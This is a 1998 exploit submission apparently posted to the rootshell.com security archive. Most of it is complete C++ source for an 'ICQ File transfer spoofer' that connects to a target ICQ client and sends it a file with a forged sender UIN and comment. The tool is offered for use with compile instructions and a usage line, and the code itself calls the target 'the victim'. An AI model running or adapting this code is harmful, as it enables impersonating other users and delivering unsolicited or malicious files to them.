[from http://www.rootshell.com/ ] Date: Wed, 8 Jul 1998 16:46:11 -0700 (PDT) From: Eric Hanson To: info@rootshell.com Subject: icq file spoofer Here's an original exploit submission. We've had it for a month or so, and told the former mirabilis about it, but (unsuprisingly) got no response, so here you go. -- cut here -- /* ICQ File transfer spoofer v.0001 - [ http://www.rootshell.com/ ] * by Eric Hanson (hanser@wwc.edu), Sam Fortiner (fortsa@cs.wwc.edu), * Hans Buchheim (buchha@cs.wwc.edu), and Richard Patchett * (patcri@cs.wwc.edu). * * This is our first attempt at anything icq related. It's messy, but it * works. * * To compile: g++ icqfile.cpp -o icqfile * * Known bugs: * - Doesn't support speed changes (crashes) * - Doesn't work quite right with the Java client * * Tested with: * - Slackware Linux 2.0.30 * - ICQ Version 98a beta, DLL v1.07 * * Copyright (c) 1998 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define VERSION htons(0x0300) #define COMMAND_SENDFILE htons(0xee07) class ICQPacket { public: /* Packet 2 Header */ __u32 SourceUIN; __u16 ICQVersion; __u32 Command; __u16 CommentLength; __u32 SenderIP; __u16 SenderPort; __u32 Unknown1b; __u32 Unknown2b; __u32 FileNameLength; __u8 Unknown4b; __u32 FileSize; __u32 Unknown1c; __u32 Unknown2c; /* Sender status ?*/ __u16 FirstHeaderSize = 0x1a; __u16 SecondHeaderSize; __u16 DestinationPort; char header[] = {0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char header2[] = {0x04, 0x00, 0x00}; char intPad[] = {0x00, 0x00, 0x00, 0x00}; char shortPad[] = {0x00, 0x00}; char charPad[] = {0x00}; char fileName[1024]; char comment[1024]; void exchangeName( int sock ); void writePacket( int sock ); void readResponse( int sock, ICQPacket* pPkt ); void readNameExchange( int sock, ICQPacket* pPkt ); void sendFilePreamble( int sock ); void readFilePreamble (int sock); void sendFile( int sock ); }; void ICQPacket::writePacket(int sock) { char buffer[65537]; int offset = 0; memcpy(buffer, header, 9); offset += 9; memcpy(buffer + offset, &SourceUIN, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderPort, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &header2, 3); offset += 3; offset += sizeof(__u16); memcpy(buffer + offset, &SourceUIN, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &ICQVersion, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &Command, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SourceUIN, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &ICQVersion, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &CommentLength, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, comment, strlen(comment)); offset += strlen(comment); buffer[offset++] = 0x0; memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderPort, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &Unknown1b, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &Unknown2b, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &FileNameLength, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &Unknown4b, sizeof(__u8)); offset += sizeof(__u8); memcpy(buffer + offset, fileName, strlen(fileName)); offset += strlen(fileName); buffer[offset++] = 0x0; memcpy(buffer + offset, &FileSize, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &Unknown1c, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &Unknown2c, sizeof(__u32)); offset += sizeof(__u32); SecondHeaderSize = offset - FirstHeaderSize - 2; memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16)); write(sock, (void const *)&FirstHeaderSize, sizeof(__u16)); write(sock, (void const *)buffer, offset); } void ICQPacket::exchangeName( int sock ) { char local_header[] = {0xff, 0x03, 0x00, 0x00, 0x00}; char local_header2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}; char local_header3[] = {0x64, 0x00, 0x00, 0x00}; // local_header3 is the speed in percent (0 - 100) // bytes 6 thru 9 of local_header2 is the number of files to send. char buffer[65537]; int offset = 0; FirstHeaderSize = 0x1a; memcpy(buffer, &local_header, 5); offset += 5; SenderPort --; memcpy(buffer + offset, &SenderPort, sizeof(__u16)); offset += sizeof(__u16); offset += 2; // skip over 0x00, 0x00 memcpy(buffer + offset, &SourceUIN, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderIP, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &SenderPort, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &header2, 3); offset += 3; SenderPort ++; // set senderport back to actual port offset += 2; // skip over rest of file length. memcpy(buffer + offset, &local_header2, 9); offset += 9; memcpy(buffer + offset, &FileSize, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &local_header3, 4); offset += 4; // make username equal to UIN char userName[1024]; __u16 userNameLength; sprintf(userName, "%i", SourceUIN); userNameLength = strlen(userName); memcpy(buffer + offset, &userNameLength, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &userName, userNameLength); offset += userNameLength; buffer[offset++] = 0x0; SecondHeaderSize = offset - FirstHeaderSize - 2; memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16)); write(sock, (void const *)&FirstHeaderSize, sizeof(__u16)); write(sock, (void const *)buffer, offset); return; } /* Set up fileName, fileSize, * */ void ICQPacket::sendFilePreamble( int sock ) { char local_header[] = {0x02, 0x00}; char local_header2[] = {0x01, 0x00, 0x00}; // file number? char buffer[65537]; __u32 offset = 0, speed = 100, fileNameLength = strlen(fileName) + 1; __u32 Unknown1 = 0x0; memcpy(buffer + offset, &local_header, 2); offset += 2; memcpy(buffer + offset, &fileNameLength, sizeof(__u16)); offset += sizeof(__u16); memcpy(buffer + offset, &fileName, fileNameLength - 1); offset += fileNameLength - 1; buffer[offset++] = 0x0; memcpy (buffer+offset, local_header2, 3); offset += 3; memcpy(buffer + offset, &FileSize, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &Unknown1, sizeof(__u32)); offset += sizeof(__u32); memcpy(buffer + offset, &speed, sizeof(__u32)); offset += sizeof(__u32); __u16 nextPacketSize = (__u16)offset; write(sock, (void*)&nextPacketSize, sizeof(__u16)); write(sock, (void*)buffer, nextPacketSize); } void ICQPacket::readNameExchange( int sock, ICQPacket* pPkt ) { __u16 nextPacketSize; int offset = 0; int connectionSpeed = 0; char constant; read(sock, (void*)&nextPacketSize, sizeof(__u16)); char *buffer = new char[nextPacketSize]; if(buffer){ read(sock, (void*)buffer, nextPacketSize); memcpy(&constant, buffer + offset, 1); offset += 1; memcpy(&connectionSpeed, buffer + offset, sizeof(__u32)); offset += sizeof(__u32); memcpy(&pPkt->CommentLength, buffer + offset, sizeof(__u16)); offset += sizeof(__u16); memcpy(&pPkt->comment, buffer + offset, pPkt->CommentLength); offset += pPkt->CommentLength; pPkt->comment[pPkt->CommentLength] = 0x0; printf("Sending file to %s:", pPkt->comment); fflush(stdout); delete buffer; } else { printf("Error allocating buffer in readNameExchange.\n"); } } void ICQPacket::readFilePreamble (int sock) { __u16 nextPacketSize; __u32 unknown1, unknown2; int offset = 0; int connectionSpeed = 0; char constant; read(sock, (void*)&nextPacketSize, sizeof(__u16)); char *buffer = new char[nextPacketSize]; if(buffer){ read(sock, (void*)buffer, nextPacketSize); memcpy(&constant, buffer + offset, 1); offset += 1; memcpy(&unknown1, buffer + offset, sizeof(__u32)); offset += sizeof(__u32); memcpy(&unknown2, buffer + offset, sizeof(__u32)); offset += sizeof(__u16); memcpy(&connectionSpeed, buffer + offset, sizeof(__u32)); offset += sizeof(__u32); delete buffer; } else{ printf("Error allocating buffer in readNameExchange.\n"); } } void ICQPacket::sendFile( int sock ) { char *fileBuffer = new char[FileSize]; unsigned char constant = 0x06; int remainingBytes = FileSize, offset = 0; __u16 nextPacketSize; if( fileBuffer ) { int fd = open( fileName, O_RDONLY); if ( fd == -1 ) { perror("open in sendFile"); } else { int status = read( fd, fileBuffer, FileSize ); if( status == -1 ) { perror("read in sendfile"); } else { int firstPacket = 1; fflush(stdout); do { char b[2051]; __u16 temp; if(remainingBytes < 2048) nextPacketSize = remainingBytes; else nextPacketSize = 2048; if( firstPacket ) { firstPacket = 0; temp = nextPacketSize + 1; write(sock, &temp, sizeof(__u16)); b[0] = constant; memcpy(&b[1], fileBuffer + offset, nextPacketSize); offset += nextPacketSize; remainingBytes -= nextPacketSize; write(sock, b, nextPacketSize + 1); } else { temp = nextPacketSize + 1; memcpy(b, &temp, sizeof(__u16)); b[2] = constant; memcpy(&b[3], fileBuffer + offset, nextPacketSize); offset += nextPacketSize; remainingBytes -= nextPacketSize; write(sock, b, nextPacketSize + 3); } printf("."); fflush(stdout); } while ( remainingBytes ); printf("\nFile sent.\n"); } delete fileBuffer; } } else { printf("Error allocating memory for fileBuffer in sendFile.\n"); } } void ICQPacket::readResponse( int sock, ICQPacket* pPkt ) { __u16 nextPacketSize; int offset = 0; read(sock, (void *)&nextPacketSize, sizeof(__u16)); char *buf = new char[nextPacketSize]; if(buf) { __u32 reject; read(sock, (void *)buf, nextPacketSize); memcpy(&pPkt->SourceUIN, &buf[offset], sizeof(__u32)); offset += sizeof(__u32); memcpy(&pPkt->ICQVersion, &buf[offset], sizeof(__u16)); offset += sizeof(__u16); if(pPkt->ICQVersion != VERSION) printf("Version differences: target 0x%x, actual 0x%x.\n", VERSION, pPkt->ICQVersion); memcpy(&pPkt->Command, &buf[offset], sizeof(__u32)); offset += sizeof(__u32); offset += sizeof(__u32); // skip over the 2nd UIN offset += sizeof(__u16); // skip over the 2nd version memcpy(&pPkt->CommentLength, &buf[offset], sizeof(__u16)); offset += sizeof(__u16); memcpy(&pPkt->comment, &buf[offset], pPkt->CommentLength); offset += pPkt->CommentLength; memcpy(&pPkt->SenderIP, &buf[offset], sizeof(__u32)); offset += sizeof(__u32); offset += sizeof(__u32); // skip over 2nd IP memcpy(&pPkt->SenderPort, &buf[offset], sizeof(__u16)); offset += sizeof(__u16); offset += 3; // skip junk 0x00, 0x00, 0x04 memcpy(&reject, &buf[offset], sizeof(__u32)); offset += sizeof(__u32); if(!reject) printf("Connection accepted.\n"); else { printf("Connection REJECTED.\n"); printf("Comment: %s\n", pPkt->comment); } offset += sizeof(__u16); // skip over dest port offset += sizeof(__u16); // skip 2 bytes 0x00, 0x00 memcpy(&pPkt->FileNameLength, &buf[offset], sizeof(__u16)); offset += sizeof(__u16); memcpy(&pPkt->fileName, &buf[offset], pPkt->FileNameLength); offset += pPkt->FileNameLength; offset += sizeof(__u32); // skip 4 bytes 0x00, 0x00, 0x00, 0x00 memcpy(&pPkt->DestinationPort, &buf[offset], sizeof(__u16)); offset += sizeof(__u16); delete buf; if(reject) exit(1); } else { printf("Error allocating memory.\n"); } } int main(int argc, char *argv[]) { struct sockaddr_in sin, sout, sin2, sout2; struct stat st; char fileName[1024], comment[1024]; comment[0] = 0; int sock, x; int nameSize; int fileSize; int sock2; if (argc != 6) { printf(" ICQ File Spoofer\n"); printf("usage: %s ip port SpoofedUIN file \"comment\"\n", argv[0]); return (0); } strcpy(fileName, argv[4]); if( stat(fileName, &st) != -1) { fileSize = st.st_size; } else { perror("stat"); exit(1); } strcpy(comment, argv[5]); /* make a socket */ if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) { perror("socket"); return (0); } /* set some stuff up */ sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(atol(argv[2])); /* connect to the victim */ if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) { perror("connect"); return (0); } nameSize = sizeof(sockaddr); getsockname(sock, (struct sockaddr*)&sout, &nameSize); /* make our payload */ x = -1; ICQPacket pkt, pkt2, pkt3; pkt.SourceUIN = atoi(argv[3]); pkt.ICQVersion = VERSION; pkt.Command = COMMAND_SENDFILE; pkt.CommentLength = strlen(comment) + 1; pkt.Unknown1b = 0x00040000; pkt.Unknown2b = 0x00001000; pkt.FileNameLength = htonl(strlen(fileName) + 1); pkt.Unknown4b = 0x00; pkt.FileSize = fileSize; pkt.Unknown1c = 0x0000; pkt.Unknown2c = 0xFFFFFFA0; strcpy(pkt.fileName, fileName); strcpy(pkt.comment, comment); pkt.writePacket(sock); printf("Waiting for acceptance.\n"); pkt.readResponse(sock, &pkt2); /* make a socket */ if (!(sock2 = socket(AF_INET, SOCK_STREAM, 0))) { perror("socket2"); return (0); } /* set some stuff up */ sin2.sin_family = AF_INET; sin2.sin_addr.s_addr = inet_addr(argv[1]); sin2.sin_port = htons(pkt2.DestinationPort); /* connect to the victim */ if (connect(sock2, (struct sockaddr*)&sin2,sizeof(sin2))==-1) { perror("connect"); return (0); } nameSize = sizeof(sockaddr); getsockname(sock2, (struct sockaddr*)&sout2, &nameSize); pkt3.SenderIP = sout2.sin_addr.s_addr; pkt3.SenderPort = ntohs( sout2.sin_port ); pkt3.SourceUIN = atoi(argv[3]); pkt3.FileSize = fileSize; pkt3.exchangeName( sock2 ); pkt3.readNameExchange( sock2, &pkt2 ); pkt3.FileSize = fileSize; strcpy(pkt3.fileName, fileName); pkt3.sendFilePreamble( sock2 ); pkt3.readFilePreamble( sock2 ); pkt3.sendFile ( sock2 ); close(sock2); close(sock); return (0); } -- cut here --